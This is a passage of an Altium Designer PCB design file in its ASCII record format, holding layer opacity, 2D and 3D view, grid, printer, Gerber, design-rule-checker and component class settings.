.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL11=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL12=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL13=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL14=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL15=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL16=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.DRILLDRAWING=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MULTILAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.CONNECTLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.BACKGROUNDLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.DRCERRORLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.HIGHLIGHTLAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.GRIDCOLOR1=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.GRIDCOLOR10=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.PADHOLELAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.VIAHOLELAYER=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL17=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL18=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL19=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL20=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL21=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL22=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL23=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL24=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL25=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL26=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL27=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL28=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL29=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL30=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL31=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.LAYEROPACITY.MECHANICAL32=1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?1.00?0.40?1.00?1.00?1.00?1.00?1.00?1.00?`CFG2D.TOGGLELAYERS=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111`CFG2D.TOGGLELAYERS.SET=Signal.All~-1_Mechanical.All~-1_Internal.All~-1_Standard.All~-1_Dielectric.All~0`CFG2D.WORKSPACECOLALPHA0=1.0`CFG2D.WORKSPACECOLALPHA1=1.0`CFG2D.WORKSPACECOLALPHA2=1.0`CFG2D.WORKSPACECOLALPHA3=1.0`CFG2D.WORKSPACECOLALPHA4=1.0`CFG2D.WORKSPACECOLALPHA5=1.0`CFG2D.WORKSPACECOLALPHA6=1.0`CFG2D.WORKSPACECOLALPHA7=1.0`CFG2D.WORKSPACECOLALPHA8=1.0`CFG2D.WORKSPACECOLALPHA9=1.0`CFG2D.WORKSPACECOLALPHA10=1.0`CFG2D.WORKSPACECOLALPHA11=1.0`CFG2D.WORKSPACECOLALPHA13=1.0`CFG2D.WORKSPACECOLALPHA14=1.0`CFG2D.MECHLAYERINSINGLELAYERMODE=00000000000000000000000000000000`CFG2D.MECHLAYERINSINGLELAYERMODE.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean,25165826~0`CFG2D.MECHLAYERLINKEDTOSHEET=00000000000000000000000000000000`CFG2D.MECHLAYERLINKEDTOSHEET.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean,25165826~0`CFG2D.CURRENTLAYER=MECHANICAL1`CFG2D.DISPLAYSPECIALSTRINGS=FALSE`CFG2D.SHOWTESTPOINTS=FALSE`CFG2D.SHOWORIGINMARKER=TRUE`CFG2D.EYEDIST=2000`CFG2D.SHOWSTATUSINFO=TRUE`CFG2D.SHOWPADNETS=TRUE`CFG2D.SHOWPADNUMBERS=TRUE`CFG2D.SHOWVIANETS=TRUE`CFG2D.SHOWVIASPAN=TRUE`CFG2D.USETRANSPARENTLAYERS=FALSE`CFG2D.PLANEDRAWMODE=2`CFG2D.DISPLAYNETNAMESONTRACKS=1`CFG2D.FROMTOSDISPLAYMODE=0`CFG2D.PADTYPESDISPLAYMODE=0`CFG2D.SINGLELAYERMODESTATE=3`CFG2D.ORIGINMARKERCOLOR=16777215`CFG2D.SHOWCOMPONENTREFPOINT=FALSE`CFG2D.COMPONENTREFPOINTCOLOR=16777215`CFG2D.POSITIVETOPSOLDERMASK=FALSE`CFG2D.POSITIVEBOTTOMSOLDERMASK=FALSE`CFG2D.TOPPOSITIVESOLDERMASKALPHA=0.500000`CFG2D.BOTTOMPOSITIVESOLDERMASKALPHA=0.500000`CFG2D.ALLCONNECTIONSINSINGLELAYERMODE=TRUE`CFG2D.MULTICOLOREDCONNECTIONS=FALSE`CFG2D.SHOWSPECIALSTRINGSHANDLES=FALSE\r|RECORD=Board|2DCONFIGFULLFILENAME=C:\\Users\\Jeremy Blum\\AppData\\Roaming\\Altium\\Altium Designer {1EB032F1-E719-4057-9342-D6BAF9C1E861}\\ViewConfigurations\\Altium Standard 2D.config_2dsimple\r|RECORD=Board|3DCONFIGTYPE=.config_3d|3DCONFIGURATION=`RECORD=Board`CFGALL.CONFIGURATIONKIND=3`CFGALL.CONFIGURATIONDESC=Enter%20description%20of%20new%20view%20configuration`CFGALL.COMPONENTBODYREFPOINTCOLOR=16777215`CFGALL.COMPONENTBODYSNAPPOINTCOLOR=16777215`CFGALL.SHOWCOMPONENTSNAPMARKERS=FALSE`CFG3D.POSITIVETOPSOLDERMASK=TRUE`CFG3D.POSITIVEBOTTOMSOLDERMASK=TRUE`CFG3D.SHOWCOMPONENTBODIES=TRUE`CFG3D.SHOWCOMPONENTSTEPMODELS=TRUE`CFG3D.COMPONENTMODELPREFERENCE=0`CFG3D.SHOWCOMPONENTAXES=TRUE`CFG3D.SHOWBOARDCORE=TRUE`CFG3D.SHOWBOARDPREPREG=TRUE`CFG3D.SHOWTOPSILKSCREEN=TRUE`CFG3D.SHOWBOTSILKSCREEN=TRUE`CFG3D.SHOWORIGINMARKER=TRUE`CFG3D.EYEDIST=2000`CFG3D.SHOWCUTOUTS=TRUE`CFG3D.SHOWROUTETOOLPATH=TRUE`CFG3D.SHOWROOMS3D=FALSE`CFG3D.USESYSCOLORSFOR3D=FALSE`CFG3D.WORKSPACECOLOR=16777215`CFG3D.BOARDCORECOLOR=0`CFG3D.BOARDPREPREGCOLOR=0`CFG3D.TOPSOLDERMASKCOLOR=3307556`CFG3D.BOTSOLDERMASKCOLOR=3307556`CFG3D.COPPERCOLOR=2402753`CFG3D.TOPSILKSCREENCOLOR=16448250`CFG3D.BOTSILKSCREENCOLOR=16448250`CFG3D.WORKSPACELUMINANCEVARIATION=30`CFG3D.WORKSPACEBEGINCOLOR=16777215`CFG3D.WORKSPACEENDCOLOR=14671839`CFG3D.WORKSPACECOLOROPACITY=1.000000`CFG3D.BOARDCORECOLOROPACITY=0.500000`CFG3D.BOARDPREPREGCOLOROPACITY=0.500000`CFG3D.TOPSOLDERMASKCOLOROPACITY=0.600000`CFG3D.BOTSOLDERMASKCOLOROPACITY=0.600000`CFG3D.COPPERCOLOROPACITY=1.000000`CFG3D.TOPSILKSCREENCOLOROPACITY=1.000000`CFG3D.BOTSILKSCREENCOLOROPACITY=1.000000`CFG3D.BOARDTHICKNESSSCALING=1.000000`CFG3D.SHOWMECHANICALLAYERS=FALSE`CFG3D.MECHANICALLAYERSOPACITY=1.000000\r|RECORD=Board|3DCONFIGFULLFILENAME=(Not Saved)\r|RECORD=Board|LOOKAT.X=0.000000|LOOKAT.Y=0.000000|LOOKAT.Z=0.000000|EYEROTATION.X=0.000000|EYEROTATION.Y=0.000000|EYEROTATION.Z=0.000000|ZOOMMULT=0.000001|VIEWSIZE.X=902|VIEWSIZE.Y=830|GR0_TYPE=CartesianGrid|GR0_NAME=Global Board Snap Grid|GR0_COLOR=6049101|GR0_COLORLGE=9473425|GR0_PRIO=50|GR0_OX=0mil|GR0_OY=0mil|GR0_DRAWMODE=1|GR0_DRAWMODELARGE=1|GR0_ENABLED=TRUE|GR0_MULT=1|GR0_MULTLARGE=5|GR0_DISPLAYUNIT=0|GR0_COMP=TRUE|GR0_GSX=98425.196850|GR0_GSY=98425.196850|GR0_QSX=99999mil|GR0_QSY=99999mil|GR0_ROT=0.000000|GR0_FLAGS=15|EGRANGE=8mil|EGMULT=0.000000|EGENABLED=TRUE|EGSNAPTOBOARDOUTLINE=FALSE|EGSNAPTOARCCENTERS=TRUE|EGUSEALLLAYERS=FALSE|OGSNAPENABLED=TRUE|MGSNAPENABLED=FALSE|POINTGUIDEENABLED=FALSE|GRIDSNAPENABLED=TRUE|NEAROBJECTSENABLED=FALSE|FAROBJECTSENABLED=TRUE|NEAROBJECTSET=011110100011000000000000001|FAROBJECTSET=001100000000000000000000000|NEARDISTANCE=200mil|DRILLSYMBOLASENUM=0|DRILLSYMBOLSIZE=200000|HOLESHAPEHASHSIZE=1|HASHKEY#0=[314960][0][0][1][2147483647 2147483647]|HASHVALUE#0=0|VIEWPORTSAREVISIBLE=TRUE|UNIQUEID=NAXMKXNP|PINPAIRCOUNT=0|SHOWSIGNALLAYERSONLY=TRUE|LAYERCOUNT=0|VALUECOUNT=13|FN#0=MEANDERCONTROLPERCENT|FV#0=100|FN#1=DIFFPAIRMAXAMPLITUDE|FV#1=1000000|FN#2=ISPINSWAPENABLED|FV#2=F|FN#3=DIFFPAIRMINSPACE|FV#3=200000|FN#4=ISGLOSSENABLED|FV#4=T|FN#5=SINGLEENDEDCORNERSTYLE|FV#5=0|FN#6=SINGLEENDEDMINSPACE|FV#6=200000|FN#7=DIFFPAIRCORNERSTYLE|FV#7=0|FN#8=SELECTEDPINSWAPS|FV#8=|FN#9=SELECTEDLENGTHRULES|FV#9=|FN#10=INCREASESPACING|FV#10=0|FN#11=ISTUNINGENABLED|FV#11=F|FN#12=SINGLEENDEDMAXAMPLITUDE|FV#12=1000000\r\n|RECORD=EngineeringChangeOrderOptions|ECOISACTIVE=FALSE|ECOFILENAME=PCB.ECO\r\n|RECORD=OutputOptions|DRILLGUIDEHOLESIZE=30mil|DRILLDRAWSYMBOLSIZE=50mil|DRILLSYMBOLKIND=0|MULTILAYERONPADMASTER=TRUE|TOPLAYERONPADMASTER=TRUE|BOTTOMLAYERONPADMASTER=TRUE|INCLUDEVIASINSOLDERMASK=TRUE|INCLUDEUNCONNECTEDPADS=TRUE|INCLUDEMECH1WITHALLPLOTS=FALSE|INCLUDEMECH2WITHALLPLOTS=FALSE|INCLUDEMECH3WITHALLPLOTS=FALSE|INCLUDEMECH4WITHALLPLOTS=FALSE|INCLUDEMECH5WITHALLPLOTS=FALSE|INCLUDEMECH6WITHALLPLOTS=FALSE|INCLUDEMECH7WITHALLPLOTS=FALSE|INCLUDEMECH8WITHALLPLOTS=FALSE|INCLUDEMECH9WITHALLPLOTS=FALSE|INCLUDEMECH10WITHALLPLOTS=FALSE|INCLUDEMECH11WITHALLPLOTS=FALSE|INCLUDEMECH12WITHALLPLOTS=FALSE|INCLUDEMECH13WITHALLPLOTS=FALSE|INCLUDEMECH14WITHALLPLOTS=FALSE|INCLUDEMECH15WITHALLPLOTS=FALSE|INCLUDEMECH16WITHALLPLOTS=FALSE\r|RECORD=OutputOptions|PLOTLAYERS.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean|FLIPLAYERS.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean|PLOTLAYERS=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000|FLIPLAYERS=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\r\n|RECORD=PrinterOptions|DEVICE=|DRIVER=|OUTPUT=|SHOWHOLES=FALSE|SCALETOFITPAGE=FALSE|USEPRINTERFONTS=FALSE|USESOFTWAREARCS=FALSE|BATCHTYPE=0|COMPOSITETYPE=0|CBORDERSIZE=1000mil|SCALE=0.0001mil|XCORRECT=0.0001mil|YCORRECT=0.0001mil\r|RECORD=PrinterOptions|PLOTPADNETS=TRUE|PLOTPADNUMBERS=TRUE|PLOTTERSCALE=0.0001mil|PLOTTERXCORRECT=0.0001mil|PLOTTERYCORRECT=0.0001mil|PLOTTERXOFFSET=0mil|PLOTTERYOFFSET=0mil|PLOTTERSHOWHOLES=FALSE|PLOTTERUSESOFTWAREARCS=FALSE|PLOTTERWAITBETWEENSHEETS=FALSE|PLOTTEROUTPUTPORT=0|PLOTTERLANGUAGE=0\r|RECORD=PrinterOptions|SPD1=3|THK1=13mil|SPD2=3|THK2=13mil|SPD3=3|THK3=13mil|SPD4=3|THK4=13mil|SPD5=3|THK5=13mil|SPD6=3|THK6=13mil|SPD7=3|THK7=13mil|SPD8=3|THK8=13mil\r|RECORD=PrinterOptions|PLOTMODE=0000000000000000000000|DRIVERTYPE=0\r|RECORD=PrinterOptions|PLOTLAYERS=1111111111111111111111111111111111111111111111111111111111111111111111111111111111\r|RECORD=PrinterOptions|PP1=1|PP2=1|PP3=1|PP4=1|PP5=1|PP6=1|PP7=1|PP8=1|PP9=1|PP10=1|PP11=1|PP12=1|PP13=1|PP14=1|PP15=1|PP16=1|PP17=1|PP18=1|PP19=1|PP20=1|PP21=1|PP22=1|PP23=1|PP24=1|PP25=1|PP26=1|PP27=1|PP28=1|PP29=1|PP30=1|PP31=1|PP32=1|PP33=1|PP34=1|PP35=1|PP36=1|PP37=1|PP38=1|PP39=1|PP40=1|PP41=1|PP42=1|PP43=1|PP44=1|PP45=1|PP46=1|PP47=1|PP48=1|PP49=1|PP50=1|PP51=1|PP52=1|PP53=1|PP54=1|PP55=1|PP56=1|PP57=1|PP58=1|PP59=1|PP60=1|PP61=1|PP62=1|PP63=1|PP64=1|PP65=1|PP66=1|PP67=1|PP68=1|PP69=1|PP70=1|PP71=1|PP72=1|PP73=1|PP74=1|PP75=1|PP76=1|PP77=1|PP78=1|PP79=1|PP80=1|PP81=1|PP82=1\r|RECORD=PrinterOptions|PM1=2105376|PM2=197379|PM3=394758|PM4=592137|PM5=789516|PM6=986895|PM7=1184274|PM8=1381653|PM9=1579032|PM10=1776411\r|RECORD=PrinterOptions|PM11=1973790|PM12=2171169|PM13=2368548|PM14=2565927|PM15=2763306|PM16=2960685|PM17=3158064|PM18=3355443|PM19=3552822|PM20=3750201\r|RECORD=PrinterOptions|PM21=3947580|PM22=4144959|PM23=4342338|PM24=4539717|PM25=4737096|PM26=4934475|PM27=5131854|PM28=5329233|PM29=5526612|PM30=5723991\r|RECORD=PrinterOptions|PM31=5921370|PM32=4210752|PM33=12632256|PM34=6513507|PM35=6710886|PM36=6908265|PM37=7105644|PM38=7303023|PM39=7500402|PM40=7697781\r|RECORD=PrinterOptions|PM41=7895160|PM42=8092539|PM43=8289918|PM44=8487297|PM45=8684676|PM46=8882055|PM47=9079434|PM48=9276813|PM49=9474192|PM50=9671571\r|RECORD=PrinterOptions|PM51=9868950|PM52=10066329|PM53=10263708|PM54=10461087|PM55=10658466|PM56=10855845|PM57=11053224|PM58=11250603|PM59=11447982|PM60=11645361\r|RECORD=PrinterOptions|PM61=11842740|PM62=12040119|PM63=12237498|PM64=12434877|PM65=12632256|PM66=12829635|PM67=13027014|PM68=13224393|PM69=13421772|PM70=13619151\r|RECORD=PrinterOptions|PM71=13816530|PM72=14013909|PM73=14211288|PM74=0|PM75=14606046|PM76=16777215|PM77=15000804|PM78=15198183|PM79=15395562|PM80=15592941\r|RECORD=PrinterOptions|PM81=15790320|PM82=15987699\r|RECORD=PrinterOptions|PC1=255|PC2=36540|PC3=16440176|PC4=6736896|PC5=16737945|PC6=16776960|PC7=8388736|PC8=16711935|PC9=32896|PC10=65535\r|RECORD=PrinterOptions|PC11=8421504|PC12=16777215|PC13=8388736|PC14=8421376|PC15=12632256|PC16=128|PC17=32768|PC18=65280|PC19=8388608|PC20=16776960\r|RECORD=PrinterOptions|PC21=8388736|PC22=16711935|PC23=32896|PC24=65535|PC25=8421504|PC26=16777215|PC27=8388736|PC28=8421376|PC29=12632256|PC30=128\r|RECORD=PrinterOptions|PC31=32768|PC32=16711680|PC33=65535|PC34=32896|PC35=8421504|PC36=128|PC37=8388736|PC38=16711935|PC39=32768|PC40=128\r|RECORD=PrinterOptions|PC41=8388736|PC42=8421376|PC43=32768|PC44=128|PC45=8388736|PC46=8421376|PC47=32768|PC48=128|PC49=8388736|PC50=8421376\r|RECORD=PrinterOptions|PC51=32768|PC52=128|PC53=8388736|PC54=8421376|PC55=128|PC56=16711935|PC57=16711935|PC58=8388736|PC59=32768|PC60=32896\r|RECORD=PrinterOptions|PC61=16711935|PC62=8388736|PC63=32768|PC64=32896|PC65=16711935|PC66=8388736|PC67=32768|PC68=32896|PC69=16711935|PC70=8388736\r|RECORD=PrinterOptions|PC71=32768|PC72=0|PC73=2752767|PC74=12632256|PC75=7709086|PC76=0|PC77=65280|PC78=16777215|PC79=6049101|PC80=9473425\r|RECORD=PrinterOptions|PC81=9474304|PC82=25217\r\n|RECORD=GerberOptions|SORTOUTPUT=FALSE|USESOFTWAREARCS=TRUE|CENTERPHOTOPLOTS=TRUE|EMBEDAPERTURES=FALSE|PANELIZE=FALSE|G54=FALSE|PLUSTOL=0.005mil|MINUSTOL=0.005mil|FILMSIZEX=20000mil|FILMSIZEY=16000mil|BORDERSIZE=1000mil|APTTABLE=|MAXAPERSIZE=250mil|RELIEFSHAPESALLOWED=TRUE|PADSFLASHONLY=TRUE|GERBERUNITS=3|GERBERDECS=1|FLASHALLFILLS=FALSE\r\n|RECORD=AdvancedPlacerOptions|PLACELARGECLEAR=50mil|PLACESMALLCLEAR=20mil|PLACEUSEROTATION=TRUE|PLACEUSELAYERSWAP=FALSE|PLACEBYPASSNET1=|PLACEBYPASSNET2=|PLACEUSEADVANCEDPLACE=TRUE|PLACEUSEGROUPING=TRUE\r\n|RECORD=DesignRuleCheckerOptions|DOMAKEDRCFILE=TRUE|DOMAKEDRCERRORLIST=TRUE|DOSUBNETDETAILS=TRUE|REPORTFILENAME=|EXTERNALNETLISTFILENAME=|CHECKEXTERNALNETLIST=FALSE|MAXVIOLATIONCOUNT=500|REPORTDRILLEDSMTPADS=TRUE|REPORTINVALIDMULTILAYERPADS=TRUE|RULESETTOCHECK=0,1,2,3,4,5,15,16,18,19,21,22,23,26,42,45,46,47,50,52,53,54,55,56,60,62,63,64|ONLINERULESETTOCHECK=0,1,2,3,4,5,9,11,15,17,18,22,23,24,45,46,47,50,51,55,60,62|INTERNALPLANEWARNINGS=TRUE|VERIFYSHORTINGCOPPER=TRUE|REPORTBROKENPLANES=TRUE|REPORTDEADCOPPER=TRUE|DEADCOPPERMINAREA=10000000000.000000|REPORTSTARVEDTHERMALS=TRUE|MINSTARVEDCOPPERPERCENT=50|REPORTSTRADLINGHOLES=FALSE|REPORTHOLESINVOIDS=FALSE\r\n|RECORD=PinSwapOptions|QUIET=FALSE|APPROXIMATEPINPOSITIONS=FALSE|ALLOWPARTIALLYROUTEDCONNECTIONS=TRUE|VIAPENALTYSTATE=TRUE|CROSSOVERRATIO=50|VIAPENALTYVALUE=0|IGNORENETS=|IGNORENETCLASSES=|IGNORECOMPONENTS=|IGNOREDIFFERENTIALPAIRS=|HEURISTICNAME=|HEURISTICONOFFSTATE=|HEURISTICWEIGHTVALUE=\r\n|RECORD=TestpointOptions|TESTPOINTSEARCHORDERSMDPADSBTM=0|TESTPOINTSEARCHORDERSMDPADSTOP=1|TESTPOINTSEARCHORDERVIASBTM=2|TESTPOINTSEARCHORDERVIASTOP=3|TESTPOINTSEARCHORDERTHRUPADSBTM=4|TESTPOINTSEARCHORDERTHRUPADSTOP=5\r\n|RECORD=Class|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Sample Schematic Sheet|KIND=1|SUPERCLASS=FALSE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=EKSDBKYV\r\n|RECORD=Class|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Component Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=CRCMRELH\r\n|RECORD=Class|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Signal Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=COKJIJVY\r\n|RECORD=Class|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Electrical Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=FXNWACPC\r\n|RECORD=Class|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=XLKPEYNS\r\n|RECORD=Class|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Outside Board Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=PRUNPEPU|AUTOGENERATEDCLASSKIND=3\r\n|RECORD=Class|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Inside Board Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|M0=Q1|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=FDSKNMHP|AUTOGENERATEDCLASSKIND=2\r\n|RECORD=Class|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Bottom Side Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=QQPTCXTG|AUTOGENERATEDCLASSKIND=1\r\n|RECORD=Class|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Top Side Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|M0=Q1|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=VVVWKBMT|AUTOGENERATEDCLASSKIND=0\r\n|RECORD=Class|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Components|KIND=1|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=TJKHJMJH\r\n|RECORD=Class|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Pads|KIND=3|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=WTYKRXPU\r\n|RECORD=Class|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All 